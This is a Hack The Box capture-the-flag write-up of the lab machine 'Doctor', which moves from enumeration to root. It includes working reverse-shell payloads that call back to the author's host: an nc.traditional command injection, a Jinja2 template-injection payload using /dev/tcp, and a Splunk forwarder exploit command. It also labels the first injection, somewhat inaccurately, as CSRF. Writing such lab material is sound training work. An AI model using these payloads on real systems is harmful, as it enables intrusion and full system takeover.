Home Hack The Box Write-Up Doctor - 10.10.10.209
Post
Cancel

Hack The Box Write-Up Doctor - 10.10.10.209

I don’t know how to put this but I’m kind of a big deal. People know me. I’m very important. I have many leather-bound books and my apartment smells of rich mahogany.

Ron Burgundy

About Doctor

In this post, I’m writing a write-up for the machine Doctor from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills

Doctor is a ‘Easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10 and submitting the root flag you points will be raised by 20.

Notes from the creator

The foothold was very challenging for me. It has taken me hours to find the vulnerability to gain access to this machine. In the end, it was for me personally very educational and challenging. I hope you will enjoy this write-up.

Foothold

I first started with a portscan with Nmap. The portscan discovered three open ports. The default SSH, HTTP port. The third one was the Splunk API service on 8089/tcp. I started my enumeration phase on the webserver. On the homepage I noticed the domain name ‘doctors.htb’ and on this domain, there is a possibility to create an account. After logging in on the website, I got the option to create Secure Messages. After hours of searching, I found two vulnerabilities in the ‘Content’ section of the message creation. The first vulnerability is a Cross-Site Request Forgery, the second a Server-Site Template Injection. With both, I could establish a reverse shell as the user web.

User

After having a reverse shell, I have launched the Linpeas.sh script for basic enumeration. This script founds in the /var/log/apache2/backup file the password Guitar123. I’ve tested this password for the user shaun and I was able to switch from the user account ‘web’ to the user account shaun.

Root

Due to a misconfiguration in the Splunk Universal Forwarders (UF), I was able to exploit this and establish a reverse shell to my machine and grab the user flag.

Machine Info

Machine Name: Doctor
Difficulty: Easy
Points: 20
Release Date: 26 Sep 2020
IP: 10.10.10.209
Creator: egotisticalSW

Recon

Port scan with Nmap

As always I start the box with a port scan with Nmap.

1
nmap -sC -sV -oA ./nmap/10.10.10.209 10.10.10.209

The results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-26 21:01 CEST
Nmap scan report for 10.10.10.209
Host is up (0.040s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.49 seconds

The port scan had found three open ports. The 80/tcp, default HTTP port, indicated that this server is acting as a web server. The third one 8089/tcp port is the default management / REST API IP-address from Splunk, according to the documentation of Splunk: https://docs.splunk.com/Documentation/Splunk/8.0.6/InheritedDeployment/Ports. Let’s start with the enumeration of the webserver.

Enumeration

Enumeration Web Server

I checked the webserver on the HTTP port 80/tcp, by visiting the URL http://10.10.10.109. I got redirected to a website with the title ‘Doctor’.

http://10.10.10.209

On the homepage is an email address visible [email protected]. Further down on the homepage, there are three employees visible: Dr. Jade Guzman, Dr. Hannah Ford, and Dr. James Wilson. I decide to modify my host’s file and add the hostnames doctor.htb and doctors.htb. After the modification, I can visit the website on http://doctor.htb, and on the http://doctors.htb URL, I got a login form.

http://doctors.htb/login?next=%2F

In the top right corner a button is visible with which an account can be registered. The button leads me to a new page, on which I can create my user account. After the account creation a message pops-up with the notification that the account is usable for twenty minutes. After the account creation, I can login to the page.

http://doctors.htb/home

Cool! Here I can create secure messages for doctors. Let’s create a message.

http://doctors.htb/post/new

At first, I didn’t notice it, but when I created my first post, it is by default the post with a number 2. http://doctors.htb/post/2, so there has to be a number 1… When I visit this URL http://doctors.htb/post/1, I discovered a message from the ‘admin’. Unfortunately there is nothing special about the message.

http://doctors.htb/post/1

After the post creation, this post is visible on the http://doctors.htb/home webpage. I have to find a vulnerability on this website. I have checked the source code of the website and found a comment that the archive is still under beta testing.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</head>
<body>
    <header class="site-header">
      <nav class="navbar navbar-expand-md navbar-dark bg-dark fixed-top">
        <div class="container">
          <a class="navbar-brand mr-4" href="/">Doctor Secure Messaging</a>
          <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarToggle" aria-controls="navbarToggle" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
          </button>
          <div class="collapse navbar-collapse" id="navbarToggle">
            <div class="navbar-nav mr-auto">
              <a class="nav-item nav-link" href="/home">Home</a>
              <!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
            </div>
            <!-- Navbar Right Side -->
            <div class="navbar-nav">
              
                <a class="nav-item nav-link" href="/post/new">New Message</a>
                <a class="nav-item nav-link" href="/account">Account</a>
                <a class="nav-item nav-link" href="/logout">Logout</a>
              
            </div>
          </div>
        </div>
      </nav>
    </header>

I checked the http://doctors.htb/archive page, but I get a blank page. The majority of the developers are creating clones of the website and host it on a virtual host for testing. I have enumerated any subdomains with DNSenum, but there are no subdomains.

The name of the box

After some enumeration I’m a little bit stuck, I can’t find anything on this website. The name of this box is Doctor. The image shows a doctor with an injection needle. Is that a hint? I think so, doctors regularly inject their patients. So, I have to look for an injection vulnerability.

I have checked for this injections, and found a CSRF (or XSS) vulnerability on the message creation page.

Injection Webpage Vulnerable
SQL Injection http://doctors.htb/home?page=1 No
SSTI Injection http://doctors.htb/post/new Yes!
XSS Injection http://doctors.htb/post/2/update No
CSFR http://doctors.htb/post/new Yes!

Intrusion

I must honestly say that this foothold has cost me hours of work. I even needed a nudge to get me in the right direction, but I really learned a lot from that. Hack The Box community thanks! It’s nice to see that when I knew what to look for I found two vulnerabilities. I found a Cross-Site Request Forgery (CSRF) and a Server-Side Template Injection (SSTI). Below I explain per subsection how you can abuse both vulnerabilities. You can choose which foothold you want to take.

Cross-Site Request Forgery (CSRF)

After a long time of enumeration, I’ve found a Cross-Site Request Forgery (CSRF) vulnerability in the Content section on the creation of a new secure messaging.

What is Cross-Site Request Forgery?
Cross-Site Request Forgery (also known as CSRF) is a web security vulnerability. Delivering a CSRF payload is essentially the same as for Reflected Cross-Site Scripting (XSS). Due to a programming error in the code of the website, the attacker can inject malicious code and instruct the webserver to execute random commands. For more in-depth explanation and examples, you can visit the Web Security Academy from PortSwigger, the creators of Burp Suite, does have a page with more explanation about CSRF.

Well, let’s get started..

I’ve used the code below to check for this vulnerability. I’ve created an URL, which sends an HTTP GET request to http://10.10.14.28 on port 4444/tcp. If this website is vulnerable to code injection, an HTTP GET request will be sent to my listener on port 4444/tcp.

http://doctors.htb/post/new Cross Site Scripting Forgery

On my machine, I’ve set a listener on port 4444/tcp with Netcat. I can see that the HTTP GET request is executed from the web page. I’ve found the CSRF vulnerability!

1
2
3
4
5
6
7
8
9
10
~$ netcat -lvvp 4444
Listening on any address 4444 (krb524)
Connection from 10.10.10.209:53042
GET / HTTP/1.1
Host: 10.10.14.28:4444
User-Agent: curl/7.68.0
Accept: */*

Total received bytes: 80
Total sent bytes: 0

The next phase is to get a reverse shell on this box. This step had also taken me a long time. I found that spaces in the code are a problem for the execution of the code. On this page, I’ve learned that it’s possible to call the nc.traditional (with the only NC, it was not working) for a reverse shell. The next problem. I have to get rid of the spaces. Because I’m passing the command to the webserver, I need to look for a space-replacer for Linux Bash. On this page, I found that $IFS is the space character for Bash. With this variable, I’ve fixed the space problem.

My reverse shell payload:

http://10.10.14.28/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'10.10.14.28'$IFS'4444')

Hack The Box Doctor Reverse Shell through Cross-Site Request Forgery

The Reverse Shell is established as the user web.

1
2
3
4
5
~$ netcat -lvvp 4444
Listening on any address 4444 (krb524)
Connection from 10.10.10.209:35030
python3 -c 'import pty;pty.spawn("/bin/bash")'
web@doctor:~$ 

No permission to read the user.txt.

1
2
3
4
5
6
7
8
9
10
11
12
web@doctor:/home$ ls
ls
shaun  web
web@doctor:/home$ cd shaun
cd shaun
web@doctor:/home/shaun$ ls
ls
user.txt
web@doctor:/home/shaun$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
web@doctor:/home/shaun$

Server-Side Template Injection (SSTI)

After finding the Cross-Site Request Forgery vulnerability, I’ve read a hint from the machine creator and that hint was nudging to Server-Side Template Injection (STTI) vulnerability. So, there was another vulnerability to discover. I have never used this injection before, thus it was a quiet journey for me to get this one.

What is Server-Side Template Injection (SSTI)?
Template engines can present dynamic data via web pages and emails. the user input is stored in a variable and get’s embedded into the webpage by the template engine. Unsafely embedding user input in templates enables the Server-Side Template Injection. PortSwigger has also a article for more in-depth information about STTI.

Let’s go with this one..

In the explanation page of PortSwigger about Server-Side Template Injection, I have learned how to determine which template engine is being used. As template engines identify themself in the resulting error message.

I started with the {{7*7}} in the Title and the Content fields of a message creation. After a time I noticed that the archive page is changing.

SSTI

On the source code of the Archive page, the result of this calculation is visible. It’s the result of the calculation 7*7=49. With this information, I know that this website is vulnerable for Sever-Side Template Injection.

The archive page

The second step is to changing the payload to {{7*'7'}}. The result is again reflecting to the archive page.

Hack The Box Doctor box is using the Twig or Jinja2 engine.

I now know that this box is using the Twig or Jinja2 engine. After a Google search, I found this article to create a payload for Remote Command Execution. I have modified the payload to execute a reverse shell to my machine. As the payload is working, I know that this webserver is using the Jinja2 engine.

With this payload in the content section of the message, I got the reverse shell.

{{request.application.globals.builtins.import('os').popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.28/4444 0>&1"').read()}}

Lateral Movement

From web to shaun

I started first the enumeration by downloading Linpeas.sh to this machine. I’ve analyzed the output and came across the password Guitar123.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
web@doctor:~$ bash Linpeas.sh
...
[+] Finding passwords inside logs (limit 70)                                                                                                                                             
Binary file /var/log/apache2/access.log.12.gz matches                                                                                                                                    
Binary file /var/log/journal/62307f5876ce4bdeb1a4be33bebfb978/system.journal matches                                                                                                     
Binary file /var/log/journal/62307f5876ce4bdeb1a4be33bebfb978/user-1001.journal matches                                                                                                  
Binary file /var/log/kern.log.2.gz matches                                                                                                                                               
Binary file /var/log/kern.log.4.gz matches                                                                                                                                               
Binary file /var/log/syslog.4.gz matches                                                                                                                                                 
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"                                    
/var/log/auth.log.1:Oct  8 11:50:28 doctor VGAuth[697]: vmtoolsd: Username and password successfully validated for 'root'.                                                               
/var/log/auth.log.1:Sep 22 13:01:23 doctor sshd[1704]: Failed password for invalid user shaun from 10.10.14.2 port 40896 ssh2                                                            
/var/log/auth.log.1:Sep 22 13:01:28 doctor sshd[1704]: Failed password for invalid user shaun from 10.10.14.2 port 40896 ssh2                                                            
/var/log/auth.log.1:Sep 23 15:38:45 doctor sudo:    shaun : command not allowed ; TTY=tty1 ; PWD=/home/shaun ; USER=root ; COMMAND=list                                                  
/var/log/auth.log.1:Sep 28 13:31:10 doctor sudo:     root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/sbin/setcap -r /usr/bin/python3/
...

I’ve tried this password, and I’m able to jump to the user Shaun.

1
2
3
4
5
6
7
8
web@doctor:~$ su - shaun       
su - shaun
Password: Guitar123

shaun@doctor:~$ cat user.txt
cat user.txt
bc4f375c11403c83f10a3e6ace6b9ce4
shaun@doctor:~$ 

I have grabbed to user flag, the next step: Privilege Escalation.

Privilege Escalation

Enumeration

The last phase of this box. In the reconnaissance phase I have discovered the Splunk Service. I have nothing done yet with this one, so I think that Splunk is the path to gain root privilege. I have visited the Splunk on the URL https://10.10.10.209:8089.

https://10.10.10.209:8089

I have clicked on the hyperlinks and a login prompt shows up. I can log in with the known credentials of Shaun with the username shaun the password Guitar123. After logging in I get a large number of extra menu options. I will first start with the version of Splunk. In the menu it says version Splunk build: 8.0.5

The first search on the internet, leads me to a local privilege escalation, or remote code execution, through Splunk Universal Forwarder misconfigurations. Splunk is supporting forwarders to your SIEM (Security Information and Event Management) solution. But, if this is not properly secured, it could be hijacked. It’s leads to a remote code execution.

I’ve downloaded the script to my machine and used the PySplunkWhisperer2_remote.py to exploit the Remote Code Execution vulnerability to create a reverse shell as root. I’ve used the same payload as I’ve used to gain a shell from the SSTI vulnerability.

1
2
3
4
5
6
7
8
9
10
11
12
13
MBP-from-t13nn3s:PySplunkWhisperer2 root# python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --lhost 10.10.14.28 --username shaun --password Guitar123 --payload "/bin/
bash -c 'bash -i >& /dev/tcp/10.10.14.28/5555 0>&1'"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpggk5c2du.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.28:8181/
10.10.10.209 - - [08/Oct/2020 22:58:16] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

I got a reverse shell as root. The last step is to read the root flag.

Own Docotor

1
2
3
4
5
root@doctor:/# cd root
cd root
root@doctor:/root# cat root.txt
cat root.txt
e1e41edc1eb5a283bec79b5e3bc71b9d

I have enjoyed this machine and writing this write-up. Did you also like this write-up? Please consider spending a respect point. My Hack The Box profile: https://app.hackthebox.eu/users/224856.

This post is licensed under CC BY 4.0 by the author.